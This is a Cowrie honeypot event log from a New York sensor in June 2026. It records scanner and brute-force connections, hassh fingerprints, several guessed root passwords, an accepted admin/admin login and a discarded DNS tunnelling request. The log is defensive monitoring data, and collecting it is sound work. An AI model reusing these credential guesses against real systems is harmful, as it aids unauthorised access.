{"eventid":"cowrie.session.closed","duration":46.13276195526123,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:19:23.482919Z","src_ip":"128.199.8.54","session":"ae9f65f3670e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:19:24.052828Z","src_ip":"72.17.34.38","session":"8cc372234f6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53636,"dst_ip":"159.203.135.109","dst_port":23,"session":"db2d9498d97c","protocol":"telnet","message":"New connection: 172.81.62.90:53636 (159.203.135.109:23) [session: db2d9498d97c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:19:47.327277Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60988,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ffa0e7ff786","protocol":"telnet","message":"New connection: 172.81.62.90:60988 (159.203.135.109:23) [session: 2ffa0e7ff786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:19:52.509557Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":36112,"dst_ip":"10.17.0.5","dst_port":22,"session":"7340a11ac234","protocol":"ssh","message":"New connection: 87.251.64.176:36112 (10.17.0.5:22) [session: 7340a11ac234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:19:55.990855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:19:55.994251Z","src_ip":"87.251.64.176","session":"7340a11ac234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:19:56.087410Z","src_ip":"87.251.64.176","session":"7340a11ac234","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:19:56.370233Z","src_ip":"87.251.64.176","session":"7340a11ac234","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:19:56.465892Z","session":"7340a11ac234","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:19:56.560613Z","src_ip":"87.251.64.176","session":"7340a11ac234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:19:56.658823Z","src_ip":"87.251.64.176","session":"7340a11ac234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53620,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5b56b2a14be","protocol":"telnet","message":"New connection: 172.81.62.90:53620 (159.203.135.109:23) [session: b5b56b2a14be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:20:10.099481Z"}
{"eventid":"cowrie.session.closed","duration":0.0056438446044921875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:20:10.104974Z","src_ip":"172.81.62.90","session":"b5b56b2a14be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.017961502075195,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:20:32.527393Z","src_ip":"172.81.62.90","session":"2ffa0e7ff786","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.53024125099182,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:20:32.857412Z","src_ip":"172.81.62.90","session":"db2d9498d97c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55250,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1d9e2b2cde1","protocol":"telnet","message":"New connection: 172.81.62.90:55250 (159.203.135.109:23) [session: c1d9e2b2cde1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:20:53.988858Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55248,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bb09b0bbeda","protocol":"telnet","message":"New connection: 172.81.62.90:55248 (159.203.135.109:23) [session: 2bb09b0bbeda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:20:55.003448Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":39222,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dbae217da02","protocol":"ssh","message":"New connection: 72.17.34.38:39222 (10.17.0.5:22) [session: 7dbae217da02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:21:14.948036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:21:14.952353Z","src_ip":"72.17.34.38","session":"7dbae217da02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:21:14.987144Z","src_ip":"72.17.34.38","session":"7dbae217da02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa321321","message":"login attempt [root/Aa321321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:21:15.160317Z","src_ip":"72.17.34.38","session":"7dbae217da02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:21:16.198079Z","src_ip":"72.17.34.38","session":"7dbae217da02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":7610,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0e53fd5f183","protocol":"ssh","message":"New connection: 38.93.206.2:7610 (10.17.0.5:22) [session: f0e53fd5f183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:21:21.075024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:21:21.078580Z","src_ip":"38.93.206.2","session":"f0e53fd5f183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:21:21.128579Z","src_ip":"38.93.206.2","session":"f0e53fd5f183","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13021980","message":"login attempt [root/13021980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:21:21.281908Z","src_ip":"38.93.206.2","session":"f0e53fd5f183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":32994,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6118eed0eb5","protocol":"telnet","message":"New connection: 107.6.151.170:32994 (159.203.135.109:23) [session: e6118eed0eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:21:22.202368Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:21:22.376393Z","src_ip":"38.93.206.2","session":"f0e53fd5f183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54104,"dst_ip":"159.203.135.109","dst_port":23,"session":"a86f70bf298d","protocol":"telnet","message":"New connection: 128.199.8.54:54104 (159.203.135.109:23) [session: a86f70bf298d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:21:27.168114Z"}
{"eventid":"cowrie.session.closed","duration":36.926568031311035,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:21:30.915273Z","src_ip":"172.81.62.90","session":"c1d9e2b2cde1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.3401939868927,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:21:31.343516Z","src_ip":"172.81.62.90","session":"2bb09b0bbeda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.81222653388977,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:21:56.014434Z","src_ip":"107.6.151.170","session":"e6118eed0eb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":20172,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee18e2fdb4f7","protocol":"ssh","message":"New connection: 194.59.206.2:20172 (159.203.135.109:22) [session: ee18e2fdb4f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:05.133191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:05.137417Z","src_ip":"194.59.206.2","session":"ee18e2fdb4f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:05.222793Z","src_ip":"194.59.206.2","session":"ee18e2fdb4f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:05.313219Z","src_ip":"194.59.206.2","session":"ee18e2fdb4f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":41862,"dst_ip":"10.17.0.5","dst_port":22,"session":"cad241207aa4","protocol":"ssh","message":"New connection: 27.71.230.31:41862 (10.17.0.5:22) [session: cad241207aa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:12.157277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:12.208955Z","src_ip":"27.71.230.31","session":"cad241207aa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:14.423230Z","src_ip":"27.71.230.31","session":"cad241207aa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":44812,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c487751c2c1","protocol":"ssh","message":"New connection: 103.27.238.120:44812 (159.203.135.109:22) [session: 2c487751c2c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:15.027247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:15.032798Z","src_ip":"103.27.238.120","session":"2c487751c2c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:15.299818Z","src_ip":"103.27.238.120","session":"2c487751c2c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin321@","message":"login attempt [root/Admin321@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:15.782765Z","src_ip":"27.71.230.31","session":"cad241207aa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rew123","message":"login attempt [root/rew123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:16.103352Z","src_ip":"103.27.238.120","session":"2c487751c2c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:17.079221Z","src_ip":"27.71.230.31","session":"cad241207aa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:17.371716Z","src_ip":"103.27.238.120","session":"2c487751c2c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.240","src_port":60510,"dst_ip":"159.203.135.109","dst_port":22,"session":"857a2b8465bc","protocol":"ssh","message":"New connection: 205.210.31.240:60510 (159.203.135.109:22) [session: 857a2b8465bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:24.296569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:24.301419Z","src_ip":"205.210.31.240","session":"857a2b8465bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cer